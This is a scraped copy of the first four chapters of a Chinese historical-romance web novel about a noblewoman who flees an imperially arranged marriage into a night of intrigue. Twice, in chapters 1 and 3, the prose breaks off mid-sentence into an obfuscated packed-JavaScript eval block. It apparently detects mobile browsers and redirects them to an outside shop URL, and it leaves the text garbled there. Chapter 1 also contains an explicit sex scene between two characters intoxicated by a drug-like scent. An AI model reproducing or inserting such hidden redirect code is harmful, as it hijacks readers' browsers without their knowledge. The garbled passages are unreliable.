《画麟阁上》 1. 第 1 章 《画麟阁上》 2025年冬 晋江文学城独家 ----- “闼闼闼……” 仰山门下，一个守城士兵半倚在城墙下，头一点一点，正在犯瞌睡。 急促的马蹄声逐渐逼近，士兵揉揉眼睛站起身，靠着城墙伸了个懒腰。依稀只见有人向城门疾驰而来，随风传来一股浓重的脂粉香气。 “什么人……这会子还不回家，找死么？！”士兵凶巴巴地吼一声。定是哪家纨绔子弟，温柔乡里喝多了黄汤，胆敢罔顾宵禁，直冲城门。 嘶鸣声划破静夜，飞驰的马转瞬到了面前，前蹄一扬，马上人飞扬的斗篷一角甩在他的脸上。 士兵怒极，提枪要刺，忽有寒光一闪，刺得他不禁闭眼。 那是男人蹀躞带上悬着的一枚银色令牌。 他的瞌睡顿时醒透了，忙不迭伸手去腰间掏钥匙，深一脚浅一脚地奔去开城门。 上面的人早就留了话，今夜公家办案，北城门需留人待命，时刻准备放行。指令的来源不明，但想也知道必是极难伺候的主，不能多问。这倒霉差事，便落在了胡阿大身上。 严格来说，胡阿大是不符合从军的条件的——他有夜盲症，太阳一落山便人畜不分，点着灯也只能看清脚底下那两步。家里硬是找到了门路，银子递到了司宫台主事手上，好歹把他送进了禁军。 马蹄在身后原地来回踏着步，马上人一言不发，威压感有如实质在空气中凝聚。 城门一共悬着三道锁头，光是找到对应的钥匙便要费些功夫，胡阿大心头紧张，动作更加不利落。 “饭桶。” 上位者语声冷冽，“你的上官是谁，没有交代过要提前候着么？” “回，回大人，是、是……” 胡阿大上下牙关打着颤，回了几个字便说不出话来，好在哆哆嗦嗦地总算将三道锁全部打开，他奋力推开半扇闭合的城门，而后转身伏倒在地。 马上的人哼了一声，一扯缰绳，很快便消失在夜色中。 胡阿大跪在原地，直到马蹄声远了，才直起身来。 他满腹疑惑地挠了挠头：正主这会才来，那刚才他放出城去的人，到底是谁？ * 玉京城在婆娑的树影中只剩一个角，那一粒如同种子大小的，依稀可辨是仰山门。 郑薜萝回过头，一颗心在胸腔中猛烈跳动着。 大祈宵禁森严，可出城之时竟未曾遇到阻拦。她一路信马由缰，孰能料想人生第一次出逃，就如此顺利。 四下阒然，呼吸声被放大，与脚下的马蹄几乎同一节奏。 官道修得笔直，一路通往麟趾山。山如其名，形似麒麟的三根脚趾，山中隐藏着诸多寺庙、道观，有些香火甚旺，更多的则名不见经传。 雨一直没停，淅淅沥沥落在斗篷上。路渐渐变得崎岖，进入山道，马儿的速度也慢了下来。 不知名的鸟叫声，在山谷中发出空灵的回响。 郑薜萝扯了扯缰绳，在山道上停下来。 不知是出于极度的害怕，抑或是兴奋，她抓着缰绳的手微微颤抖着。兜帽下半张莹白的脸，露出流线精致的颌角，薄唇殷红如樱。 郑薜萝不自觉地想：倘若遇到生人，就扮成山鬼吓他。 继而为自己这样的想法而好笑，这个时候，哪里会遇到人？恐怕真的遇鬼还更可能一些…… 正想着，忽听得一声清亮哨响，马儿受惊，前蹄猛然高抬，朝着一旁的山坡冲了过去。 “吁——！停下！！啊——” 郑薜萝控不住受惊的马，握着缰绳的手一松，从马背上滚落下来。潮湿的泥土味扑鼻而来，她皱着眉撑起身子。 两骑马在下方的山道上疾驰而过，她没有看清马上的人，他们来去如风，如同鬼魅。 也许真的遇见山鬼了。 她扭头朝着密林深处望去，丛丛树影之间，自己的马早已经不见踪影。夜鸮的叫声在荒山中回响，看不清的前方，偶有窸窸窣窣的动静。 恐惧如同蠕动的虫，沿着她的脊背缓缓爬上来。她打了个寒噤。 动了动手脚，好在没有受伤，郑薜萝扶着一旁的树干站起来，一步步回到山道上。 不知道走了多久，头顶一轮月亮从乌云后露头，脚下落叶覆盖的碎石小路，将她引向了一道竹桥。 桥下的溪流被月光倒映出粼粼微光，听着潺潺水声，她下意识吞了下口水。 好累，好渴。 走下竹桥，前方是一片青石阶，顺着石阶向上，茂密竹丛后依稀露着半扇木门，是个封闭的院落。 郑薜萝心跳加快。拾阶而上，轻叩门扉。 “有人么？” 无人应答。 门缝后依稀有光，里面的人应当是没听见，她微微用力，发现那门并没有上锁，只是虚掩着。 “……打扰了。”她推开了门。 空旷的院落里没有点灯，院中摆着一只三足鼎，除此之外再无旁物——看样子是修道之人隐居的处所。 明亮的月光之下，整齐的青砖铺地，不见一片落叶，洒扫得十分干净。 进院后，便闻到一股清幽的檀香味，可此时细品，其中似乎还混合了些旁的味道。 郑薜萝皱皱鼻子，依稀是甜腻的花香，像……劣质的脂粉。 院落东北角矗立着一座楼阁，青灰的底色与它背后幽暗的山壁浑然一体，是以刚才一进来竟没发现。 她在阁楼外廊下站定，依稀有灯光从楼阁紧闭的门窗漏出来。犹豫了一会，伸手轻推其中的一扇门。果不其然，那门也没有上锁。 一股故纸的气味从门缝里涌了出来。看来是一座藏经阁。 她此时四肢冰凉，楼内涌出的暖意让她心头一松，提起裙裾迈进了门。 阁楼内部呈八角形，八根粗重的金丝楠柱分别支撑在每个角上，木质台阶绕着楼阁的内壁盘旋向上，上层隐隐有灯光。抬头望，高处垂下的巨幅帷幕遮住了大部分的视野。 郑薜萝站在昏暗中迟疑了一会，沿着台阶上了二楼。 青色帐幔拦住了她的脚步，高处悬着的灯火在帐上投下了巨大的影子，形状古怪，但依稀看得出有人在帐内。 方才在院子里闻到的那股香气更加浓郁了。 “……擅入贵地，叨扰了——” 烛火忽而灭了。阁楼中瞬间陷入黑暗。帐幔后有脚步声迅疾而来。 郑薜萝心跳骤停，下一瞬，一只冰冷鬼爪攫住了她。 她心中一霎闪过悔意：不该如此贸然闯进来的，莫非真的误入了精怪修炼之所？ 那只手的主人将她拉到幕后，将人死死按在墙壁上，力道之大，让人全然动弹不得。 “你是谁？！” 这温度和声音……不是鬼，是个男人？ 郑薜萝勉强稳住呼吸，反握住男人横在她胸前的手臂。 “叨扰了，小女子在这山中迷了路，这才误入贵地……” “谁让你……进来的……” 男人嘶哑着嗓子，毫无半点听她解释的意思，只将她箍得更紧了些。 她被卡得有些喘不过气，一只手胡乱摸索着，沿着男人的手臂，碰到他死死抓进自己肩头的头，试图掰开些，却摸到了一手湿滑。那是……血？ 那股奇异的花香益发浓烈，她这才意识到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024500|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香味的来源就是眼前人。 “你、你到底是什么人？” 没有回答，箍着她的力道更丝毫未松。 “放开我——！” 郑薜萝不知哪里生出的力气，竟一把将人推开了。只可惜很快男人的手重新堵了上来，这一回直接堵住了她的嘴。 鲜血顺着他的虎口流进嘴里，浓重的腥气和香味混杂，她一狠心，用力咬了下去。 男人吃痛，捂着手后撤两步。黑暗中依稀可见他挺拔的身形，因为痛苦而弓起。 郑薜萝在原地怔了两秒，才反应过来要跑。刚提步便一阵晕眩。 口腔中的血腥味似乎变甜了，有股奇异的暖流顺着她的经络迅速跑遍全身，她的胸臆中突然腾起一股燥热。 她口干舌燥，迫切想找水来喝，然而四周黑漆漆的，除了眼前这个男人，什么都没有。 不能留在这里，先出去再说。 她的脑子嗡嗡作响，想要离开，余光中却见那男人委顿在地，似乎极为痛苦。 “你……没事吧？” 男人埋着头，呼吸粗重，没有理她。 她蹲下身来想要扶他，触手却是一惊——他的身体烫得吓人。 “怎、怎么回事……” 郑薜萝下意识后退两步。 男人突然直起身，伸手拉住了她。 这回他手上的力道不重，她一挣就能开，却反而没动，朝他靠近了些。她身体里的那股燥热似乎益发汹涌了。 “道长……你怎么——” 话音未落，男人微微一扯，将她拉进了怀里，嘶声：“你……是谁……” 阁楼里没有一丝光，郑薜萝浑身燥热，脸已然红透，她一只手还被那道长攥着，另一只手按在他胸口——男人只穿着一件单薄的长袍，腰间没有系带，道袍的衣襟已经散开了。 她的手贴在他胸口，从来没有过的触感。坚硬的肌肉之上，滑腻腻的一片，是汗水。 干渴感更加明显，少女身上淡淡的香气透过每一个微张的毛孔释放出去，犹如火星落在干草上。 男人黑沉如渊的眸子亮起一瞬，似乎身体里某根弦已然崩断，他将她紧紧箍住，一个翻身，压了上去。 郑薜萝的心跳停了一拍。 沉重和灼热扑面而来，若不是被上方的人狠狠压制，一颗心似乎就要从喉咙口飞出来。 她轻轻挣扎了两下，意识逐渐陷入混沌，感官却前所未有地清晰。 衣裙不知去向，男人呼吸扯紧，修长的手指肆意游走于起伏之间，动作并无章法，他的掌心某处有茧，触碰时有奇妙的麻痒……她随之弓起又舒展，犹如一尾渴水的鱼。 男人停下动作，粗重的喘息喷薄在她的脖颈，似乎想要徒劳地克制，更多时候只能是加倍报复一般地放纵回来。 她无意识地低吟，有如仙女吟哦灵音骇空，效用反而是千万倍的蛊惑，将人重新拉回地狱。 “你……” 男人动作一顿，黑暗中垂眸看她，似乎有一瞬间的清醒，想要看清她到底是谁。 郑薜萝仰起脸，修长脖颈曲线连贯向下，月光下如通往极乐的玉阶。 干燥的唇瓣沿着跳动的血管一路循迹，仿佛沙漠中长途跋涉的旅人找到水源，或吮或咬，犹不解渴。她只觉自己无止境地下坠，亟需攀附住什么，伸手环住男人的宽阔后背，指甲深深陷了进去…… 一瞬间的痛感让郑薜萝瞬间清醒。 男人却已彻底沦陷，黑暗中只闻低沉的喟叹。 长睫颤动，她低垂的视线落在起伏的影子上，如堕铜柱地狱，业火自内焚烧。 终于，她闭上眼，昏昏沉沉地睡了过去。 2. 第 2 章 四下一片静谧。 男人修长的手臂被枕在脑后，另一只手依旧搭在她遍布红痕的胸.口。罩袍做被，将二人盖住。 郑薜萝将手伸到他鼻端，感觉到均匀的呼吸。所以他只是睡着了。 天花上雕刻的异兽在黑暗中张牙舞爪，似乎在对她眨眼、说话……就这么放任光怪陆离的思绪在脑中跑了一会。 及笄那年，她随母亲进宫参加筵席，认识了宁安公主。 宁安公主李慧语大她一岁，见她在一众贵女中尤其安静，便有意逗她玩，带她看了一本私藏的“奇书”。 那“奇书”叫什么名字已然记不清，只记得里面画得都是些风流飘逸的道士女冠，看似不食人间烟火的仙风道骨，法袍飘逸之下，竟是从来未曾想象过的惊世骇俗。 她只瞧了两眼，脸便红成柿子，将书一合推了回去。 宁安公主嘲笑她：你已经及笄了，到了可以嫁人的年纪，这些事情，总要有人要教你的。 未曾想到某一日，竟真会与一个素昧平生、甚至素未谋面的男人做出这样的事。 郑薜萝转过脸，推开架在身上的手臂，指腹滑过紧实的肌肉线条，还残留着黏腻的汗水。 男人浑然无觉，她却能听到自己的心砰砰作响。 这一切太荒谬了。也太……刺激了。 她坐起身，意识渐渐复苏。 昨日午后，宫里便传出一个流言：圣人做主，指婚郑房两家结亲。妹妹郑绵韵尚小，家中到了适婚年龄的只有自己。 这流言实在突兀，不仅因为圣人此前从未插手过臣下的婚事，更因为房郑两家一向泾渭分明。 说泾渭分明还是好听的。 郑远持前阵子连续数日宿在衙署，就是为了应付刑部的调查，那位对父亲百般针对的主事官，便是刑部郎中房遂宁。 郑薜萝看着院落头顶被房檐隔成四方形的天空，而她坐在廊下，像被困在笼里的鸟。 母亲站在西厢的院落外和她对视，昏暗的天光下，面色晦暗——这样的神色在她的脸上不多见，大多数时候，她是沉稳笃定的。 她目送母亲进房，不敢上前追问，只盼着父亲回来。 可一直到很晚，始终没有等到他。 整座郑府上空被一个无形的罩子笼住，压抑沉闷的气氛有如实质，连雨声都无法穿透。吴妈妈在矮榻上辗转反侧了不知多久，终于渐渐传来鼾声。 而她缩在被子里睡不着，在黑暗中望着帐顶，瞪得眼睛都酸了。 月光慢移，一霎照亮她漫溢水汽的眼睛，如同挂着霜的黑葡萄。 她猜想，一切大约已无法转圜。 就这样，她逃了出来。 …… 恐怕重来一次，她也再不会有这样的勇气了。 曾经占据身体的冲动如潮水迅速退却，郑薜萝将衣衫重新穿上，黑暗中摸索到自己的靴子，一只只穿好。 站起身，掀开帷幕，步下楼梯。 从始至终不曾回头看一眼，那神秘道长究竟长什么样子。 就让这荒唐一夜，如一场春梦了无痕迹。 - 户部衙署中庭，几顶巨大的遮雨棚架在院当中，棚子下堆着一垛又一垛的簿册、文书，散发着陈年故纸的霉味。 郑远持从内堂走出，看着眼前景象，眉眼沉郁。 “大人。” 经过的衙差手里抱着一垛发黄的账册，见到主官，立时肃立行礼。 郑远持颔首，看着他手里抱着的账册，问：“就剩这么多了？” “是啊！折腾了半月，总算把刑部这帮瘟神送走了！” “辛苦了，归库后早些回去吧。” “不辛苦不辛苦！部司有您撑腰，没人敢欺负到咱们头上来！这不是，连那恶鬼头子都只能退让！哈哈~”那衙差见上官关心，劲头更足，弯腰又抱起一大摞纸，扭身朝文书库房去了。 郑远持缓步踱制门外，抬头，展开手中油纸伞，抬腿迈出门槛。深绯色袍角被廊下的灯笼照亮了一霎，随即被纸伞投下的阴影笼罩。 广济街上已是行人寥寥，坊市上空飘着袅袅炊烟。 他在阶上站了一会，听着细密雨声敲打着伞面，深吸一口潮湿的空气。 真是极漫长的一天。 “惟宰兄，怎么这会儿还没回去？”雨幕中传来人声。 郑远持将伞面略倾斜了些，只见一辆马车停在了阶下，车帘掀起，露出车窗里一张脸来。正是他的同僚，户部度支主事张绍鼎。 “上车吧！”张绍鼎隔着车窗唤他。 郑远持的视线落在他的马车上，蓝帐宝顶，是户部六品以上官员的制式。车厢后还拖着一辆板车，上面整齐堆叠着两个红木箱笼，用油布盖着，又用手臂粗的麻绳捆得严严实实。 郑远持看着他，摇摇头：“不远，我走回去就是了——你都收拾好了？” “都差不多了，明日便启程了，”张绍鼎态度坚持，“这雨还要下大，快些上来吧！” 郑远持见他要劳师动众地掀帘下车来请，知道拗不过，便走下台阶，收了伞登上马车。 “划啪”一声，车夫落了鞭，马车缓缓动了起来。 自坐上车，郑远持便阖上眼，满脸的疲态。 “竟忙到现在，定是被登门来恭贺的人给拖住了吧。” “连你也调侃我么。” 郑远持掀起眼皮，无甚波澜地看了他一眼。 “苍天！就算旁人都在看热闹，我又如何会调侃于你？！” 除了是郑远持的得力助手，张绍鼎与他还有另一层关系：他的表妹方花实嫁给了郑远持作妾室，已育有一子一女。 他长叹一声，语气带了些愤懑：“也不知圣人是作何想，让冤家做亲家！” 郑远持面色益发难看了些，却不说话。 他的视线落在张绍鼎手边，那里摆着一支卷轴，红底褐封，是中枢的调令。 一个月前，户部度支司在朝会上被参了一本：玉京的西市之中，竟然出现了民间私铸的“鹅眼钱”。 “鹅眼钱”事件，挖根溯源，重灾区便在江南二道。自先帝时期，“恶钱”第一次在南方出现后，便在市面上屡禁不止，坊间私自铸钱，流通量居高不下。劣质钱币涌入市场，直接影响大祈的税收和贸易，而重灾区竟集中于几个纳税大户，怀光帝着即下令三司会审严查。 负责主审“鹅眼钱”案的，便是刑部郎中房遂宁。 好歹同为六部，本来大家都以为只会是雷声大、雨点小。可案子查了一个多月，把户部衙门弄得是鸡飞狗跳。 主审官房遂宁一声令下，寒冬腊月的天气，户部的所有主事官需随时待命等候问话，刑部的人动辄深夜传召，后来大家干脆不敢回家，都宿在了衙署里。 张绍鼎作为户部度支主事，职责之一便是监视印造诸道钱钞，妥妥地中箭：因履 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郑远持疾言厉色地斥责房氏党同伐异，借查案之机，实则是排除异己，六部之中对房遂宁都是怨声载道，一个小小的刑部郎中敢如此作祟，不过是依凭老子的威势种种……多少年来，哪里有人敢当着圣人的面如此正面攻讦房氏？文武百官面面相觑，噤若寒蝉，房速崇气得面色铁青，又不屑于和郑远持对峙纠缠，一转身“噗通”向着御座上的人跪倒。 “陛下明鉴！臣一心为公——” “好了。” 圣人端坐高堂，视线在房郑二人之间来回逡巡。 “经过这一遭，户部已有了教训，”怀光帝微眯了眼，向着堂下跪着的人缓缓道，“人家的干将都被发配去了地方，还待如何？” 房速崇没有想到圣人会如此态度，他迟疑着抬头，捕捉到皇帝眼中一闪而过的锐色。 身居高位者最忌讳一家独大，“恶钱”一案，刑部确实显得有些不留余地。郑远持今日敢当众发作，定然也是心中有了计较。 一时间冷汗涔涔，房速崇颤声：“臣不敢……” 怀光帝缓了缓，转而道：“不过，荪桡做得不错，虽然年轻，做事却很是利落。刑部需要这样的人。爱卿先起来吧。” 房速崇松了口气，站起身来。 “前几日和贵妃聊起来，说遂宁至今尚未婚配？” “啊……回陛下，犬子去年刚刚及冠，确未婚配。” 方才还疾言厉色的圣人画风突变，突然开始和左丞大人闲话起了家常，众人的神色跟着放松下来。 唯有郑远持脸色难看了几分。 今日之事，明明是户部占理，看圣人这顾左右而言他的态度，又是要高高拎起，轻轻放下的节奏？他握紧手中的笏板，高声：“陛下，倘若六部都像房遂宁这样办事——” 见圣人抬起一只手，他只得住嘴。 “大丈夫也要先成家，再立业嘛！都二十一了，可有相看的对象？” 怀光帝拨弄着龙椅上的浮凸的纹路，漫不经心地问。 房速崇得意地瞥了郑远持一眼，难抑心中畅快：“犬子不才，不敢祸害别家，他母亲族中姊妹裴氏玉延，与他年岁相仿……”才刚说了一半，觑到皇帝神色，脸上的笑容僵住。 龙椅上的怀光帝眸光微眯，轻轻捋着胡须，视线落在了一旁面色沉郁的郑远持身上。 3. 第 3 章 事态的发展急转直下。没人能想到，圣人居然将一炷香之前还吵得正凶的两个对手当场拉成了亲家。 张绍鼎拍了拍郑远持的肩膀：“事已至此，不若这样想：你们两家结为姻亲，归根结底，还是他房速崇更吃亏些……” 郑远持抿唇不语。 “‘五姓十一家，不得自为婚姻’1……这道律令才出来多久啊，圣人一直有意抑制世家门阀以姻娅关系抱团，他房速崇的儿子自己便是掌刑律的，居然还敢自触杖藜！这不是往圣人刀口上撞？！” 大祈五姓，便是陇西李氏、河东裴氏、范阳卢氏、清河房氏和太原郭氏。 大祈自建国以来，名门士族通婚之风鼎盛，世家望族耻于与望族之外的他族通婚。中枢六部更是世家门阀婚姻的“重灾区”。 房速崇和正妻裴敏便是五姓联姻。自律令颁布之后，大多数望族慑于朝廷律令不敢张扬。左相也是一时得意，竟公然提及有意让独子房遂宁取表亲裴氏女，这便是明目张胆的违拗皇令了。 郑远持冷哼了一声：“都赞他房速崇放着吏部不选，送儿子进刑部历练，值得敬佩，哼！明明是居心险恶，监守自盗……” “谁说不是呢！像房氏这样老牌的门阀世家，大多只是阳奉阴违，姻亲的对象有几个不是阀阅之家？” 张绍鼎伸手拍了拍郑远持的肩头，“像老兄你这样的，在中枢就是一股清流，圣人自然要多多倚重！如今木已成舟，不然这么想，萝儿过去，便是世家宗妇，也不算辱没……” “名门望族又如何？！”郑远持一拳砸在手边凭几，“我郑家的女儿还用上赶着攀他房氏的高枝么！” 张绍鼎忙道：“那自然！我们萝儿乖巧温顺，倘若不是半路杀出个姓房的，便是新科状元也要登门来求……” “唉，事已至此，说这些又有什么用。” 一时难言的沉默，只闻车轮辘辘。忽然马声嘶鸣，马车猛地刹停下来。 “——怎么回事？！”张绍鼎转头大声问。 “大人！”车夫的声音响起，隐隐伴着杂乱的马蹄声，“……好像是公家的人。” “公家？” 张绍鼎皱眉与郑远持对视。他们的马车也是有品阶的官员才能坐的制式，同朝为官，大家见面无论职级高低，彼此面子上都会一团和气，多少过得去。寻常公差办事，怎会如此不客气。 天色已经大暗，雨势渐大，马车被拦停在街道正中。一队骑兵身披蓑衣，头戴斗笠，腰挎长刀，正穿过雨帘而来。 马车外响起冷厉的声音：“刑部办案，闲杂人等退避！” “你、你们要干什么？！住手！这车里是——” 寒光一闪，车帘被挑开。错金镶银的直刃长刀伸进来，刃尖正对着郑远持的脸。 持刀人穿一身提举衙差的服色，是刑部的人。 显然，这样冒犯同袍的事刑部已做得惯了，那提举对上郑侍郎阴沉的目光，也并无半点惧色。 “大人，不是。” 持刀人的刀锋收回两寸，转头禀报。 郑远持视线上移，落在那官差身后，眸色一沉。 男子被兜帽遮住了半张脸，玄色斗篷下一身藏青色圆领襕袍，衣袍下摆银线刺绣的獬豸在森冷月光下露出凛然爪牙。 张绍鼎也看清了那持刀衙差的上司，登时火冒三丈。 “房遂宁？！你简直胆大包天！” 马上人修长眉尾上挑，一丝鬓发自帽檐下垂落，发尾尚有水珠在滴，带着几分莫名的散淡风流。 倘若不论行事风格，房遂宁这样一幅惑人的外表，确实配得上“世家公子，如圭如璋”的玉名。 可惜，他眼中始终蕴着森然杀气，在这初春雨夜里，让人望之生寒。 下一瞬，他便淡漠地移开视线，一夹马腹，与马车错身而过。 “宵禁在即，城门坊市锁闭，无关人等速速归家不得流连！” 冷峻的声音划破了雨夜，一行人随之离开。 张绍鼎不敢相信自己的耳朵：“这、这什么人？！简直倒反天罡！！” 郑远持放下车帘，脸色更是难看。 “且不论他一个从五品的刑部郎中，对着你这户部主官全无半点敬畏！今日殿上圣人已经指了婚，他房遂宁便是你的准女婿，晚辈对长辈，怎能如此无礼！” 张绍鼎语气愤懑，“这夜黑风高的，看方向是往平康里去了，也不知接下来又要去整谁……” “你闻到没，那小子一身嚣张的脂粉味，是借查案之名寻欢作乐也说不定！反倒该让大理寺好好查查他们才是……” 郑远持的拳头越攥越紧。 郑府离户部衙门一坊之隔，马车进入罗甸街，在一扇低调的院门前停了下来。 目送张绍鼎的马车消失在街巷尾，郑远持深吸一口气，转身欲推门。 门却从里面打开了。 “夫君。” 郑远持抿着唇，揽住妻子迈入大门。 罗甸街的郑府是个三进的院子，与六部其他主事官员动辄占据半坊之地的府院相比，着实是低调得紧。郑远持携家在罗甸街住了近二十年，其间也曾动过换个大宅子的念头，被妻子李砚卿以“户部掌钱银，本就惹眼，万事需低调”的理由拦住了。 走进二重垂花门时，他略驻足，朝西边厢房望了一眼。 “阿萝呢？” “该是睡了。” 夫妻二人走进内院，郑远持却没往主屋去，一转身去了书房方向。 李砚卿沉默着跟在后面。 * 夜色已深，书房里响起尖刻的声音。 “夫君，清醒一些吧！” “难道你真的以为，今日圣人将萝儿指婚给房家，只是因为你恰巧在场？” 郑远持皱眉看向书案后的妻子：“难道不是么？京中高门有适龄女儿的不独我一家，就算五姓之外的人家也比比皆是，我若没有和房速崇公然叫板，圣人又怎会想到？” “砰”一声，他一拳砸在桌案，语气懊悔，“那顾尚书家的儿郎一表人才，刚中了新科进士，我早有属意，已经观察了许久；和顾家也有了默契，早知，便早早给二人定下亲事……” 李砚卿摇头：“圣人高高在上，难道不知咱们和兵部的顾家交往甚密，有意缔结儿女亲家？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024502|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 郑远持一愣，抬眼看向妻子：“……你，什么意思？” 李砚卿叹一口气，缓缓坐了下来。 “你能看清圣人忌讳房氏加固与裴氏姻亲的举动，到了自己身上，便当局者迷了么？” 郑远持的眉头紧紧拧起。 “圣人倚重你郑远持不假，为官这么多年，夫君平步青云，不曾跌过什么跟头，放眼朝野，能与房氏分庭抗礼之人，也只有咱们——难道圣人还会允许郑氏成为五姓之外的第六姓么？” 看丈夫抿唇不语，李砚卿的语气软了一些，“我方才语气重了些，实在是此事要紧，不能看你执迷不悟。” 她站起身，走到郑远持的身边，将他手中紧紧攥着的一支笔抽了出来，搁在笔山上。 “有心人编排你那几句话，无非是说你入仕时借助了岳丈的势力，但我知道，这些年每一步，都是你自己脚踏实地，未曾过多依赖李氏荫庇，这也是陛下最为看重的……” “如今为了萝儿的婚事，竟昏了头，要去请她外祖父出面求情，岂不更加引得陛下不快？” 李砚卿出身李氏旁支，其父敬王李茂乃是先帝的幼弟，成年后封邑于宣州。是故比起出身蓁州商户的郑远持，李砚卿才是真正的贵族后代。 郑氏身为江南首富，经营百年，家底颇为丰厚。郑远持的父亲郑煊是个头脑灵活的商人，往来结交的各色人等多了，看遍了人情百态，明白要想家族壮大子弟需得读书的道理。见长子郑远持自小便展露出读书的天赋，便没让儿子接触家族生意，只供他好好读书。 郑远持果然争气，进士及第被敬王爷慧眼看中，不拘其出身商户，将唯一的女儿嫁给了他，又举荐女婿入了国子监。郑远持初入仕便做了京官，后来更是凭着自己的本事，进了六部之中抢破头都难进的户部。 与李砚卿成婚以来，郑远持总有妻子从旁佐助提醒。与其他夫人不同，李砚卿这个“贤内助”甚少关注府院内帷，更多是参与的是丈夫的仕途经济。 郑远持的视线落在面前的信笺上，面色难看。因着指婚一事，他也是急火攻心，左思右想，唯一的方法也只能是去求薜萝的外祖出面，替孙女摆脱这桩婚事。 然而，看着纸上墨迹尚新的粗重笔划，“泰山大人”的“泰”字只写了一半，便被妻子喊停了。 比起丈夫，李砚卿对待女儿婚事的态度清醒地几近冷酷。 她并未将话完全讲明白，但她知道以丈夫的领悟，定然已经懂了。房郑联姻，是以“新贵”郑氏消解房氏世家大族壁垒的一步棋。说白了，圣人也正是因为他郑远持出身商户，没有过多的利益牵涉，才有此一选。 若将李氏宗族也牵涉其中，反而会让局势更为复杂。 半晌，郑远持重新开口，声音哑了许多：“可是，那房遂宁手段狠辣，为人不善，朝野对他的风评一言难尽。” “我们已经亏欠萝儿太多，如今连她的婚姻大事都要牺牲，倘若嫁去房家，又要受多少委屈……” 李砚卿摇头，语气冷静得多，“因缘一事，乃阴鸷之定，不可变也，” “这既是萝儿的命，也只有接受。” 4. 第 4 章 书房外，天际现出蟹壳青。 淅沥的雨声敲打着屋檐，一阵风起，将檐下的灯笼扑灭了。 一个梳着双鬟的小丫头正走到廊下，突然陷入的黑暗让她脚步一顿，发现前面的暗处隐约有个人影，似已经站了一会。 半晌，那人影缓步走下了台阶。渐亮的天光照着她的脸，是个面容温和的中年妇人。 “您怎么站在这儿啊？有消息了么？” 妇人回过神来，朝着小丫鬟道：“你不守在房里，怎么出来了？” “姑娘叫我出来的……吴妈妈，到底消息是真是假啊？” 吴妈妈看向西厢房的方向，只是沉默。 “难道……是真的？姑娘真的要嫁给那个传说里身负‘七杀’命格的房家少郎君？” “胡说什么！”吴妈妈低叱。 且微一脸委屈：“我没有胡说，那房遂宁的名声可不好听呢……” 小丫头且微只有十三岁，正是好打听的性子，平日里替夫人小姐出门采买，妇人闲时聊天说地的也听了不老少，内宅的话题一向离不开姻娅关系，哪家的女儿逾笄多年尚未适人，哪家的儿郎喜欢胡闹，正妻尚未娶回家，便已在平康里置了别宅妇……而清河房氏嫡长孙房遂宁的名字，也曾偶尔出现在后宅妇人们口中。 “像房遂宁这般出身世家，却迟迟未曾议亲的男丁，简直比腊月里的蚊子还要少，大家都说，他是因缘上早有定数的孤寡之命！不然那么多看中房家门第，想要攀附的人家，为何最后都敬而远之呢？” 且微忧心忡忡地念叨，“还有说，房家的长房嫡孙含着金汤匙出生，却偏偏要去那‘门无匾，堂无点，官无钱，吏无脸’的刑部，整日接触三教九流的罪犯，监掌刑杀，染得一身血气，生人避之不及的……” 吴妈妈紧紧皱起眉头。 她是郑薜萝的奶娘，自从郑薜萝出生于宣州外祖家，从襁褓之间到亭亭玉立，一直贴身照顾不离左右，陪伴姑娘的时间甚至超过了郑远持夫妇。 昨夜伺候完姑娘早早入睡，她心中始终放不下，便想着去探探消息。到了主屋，远远却听见老爷和夫人似在争吵。她许久不曾听过夫人如此疾言厉色。 且微所说，实则她也有所耳闻，只是以前只当旁人家的闲话听听了事，却没料想，这房阎罗会真正成了姑娘的未婚夫。 吴妈妈看向西厢的方向。这一夜，不知姑娘是怎么过来的。 … 天光微明，坊市之中沿街售卖朝食的粥铺小摊升起袅袅白烟。 早起谋生的贩夫走卒脚步匆匆，不曾留意郑府后院通往厨房的小门推开一线，单薄的人影闪身进了门。 府院里各处门窗紧闭，经过一夜不眠，此刻大多数人尚在沉睡。只有后厨里，一个七八岁的黄毛烧火丫头蹲在灶台旁，揉着惺忪的睡眼，往炉膛里有一下没一下地扔柴枝。 似乎听到什么动静，烧火丫头站起身朝外望了一眼。 什么都没有看见，只有厨房外那株青梅，被春雨浇灌了一夜，弯曲的细枝兀自晃动了一阵，落了一颗果子下来。 丫头伸个懒腰，重新又蹲回了炉灶旁。 郑薜萝提着裙裾，小心翼翼地经过厨房门口。她的步伐还有些虚，踩在水光莹润的鹅卵石小径上，险些一个脚底生滑。好在接下来一路再未遇见任何人，有惊无险地回到了西厢房。 她轻手轻脚地阖上门，门外却突然出现人影，骇了一跳：“……吴妈妈！” 吴妈妈攥住郑薜萝的手，打量她一身的装束：“姑娘，你……这是一夜没睡？去哪儿了？” 郑薜萝摘下头上兜帽，从斗篷里捧出一个荷叶包。 “醒来突然想吃早市街的糯米糕，便去买了——妈妈要不要尝？” 她将那荷叶包朝吴妈妈面前递了递，一股掺杂着桂花香的糯米香气登时扑鼻而来。 吴妈妈暂放下心，怪道：“姑娘要是想吃，等天明了叫婆子去买便是，这个时辰，不叫人跟着便出了门，万一遇上什么歹人，可怎么好！” “知道了，”郑薜萝顺从道，“实在是那家铺子的米糕做得好，每次天不亮出摊，不到卯时便售完了，我也是突然来了馋虫……下次不会啦！” 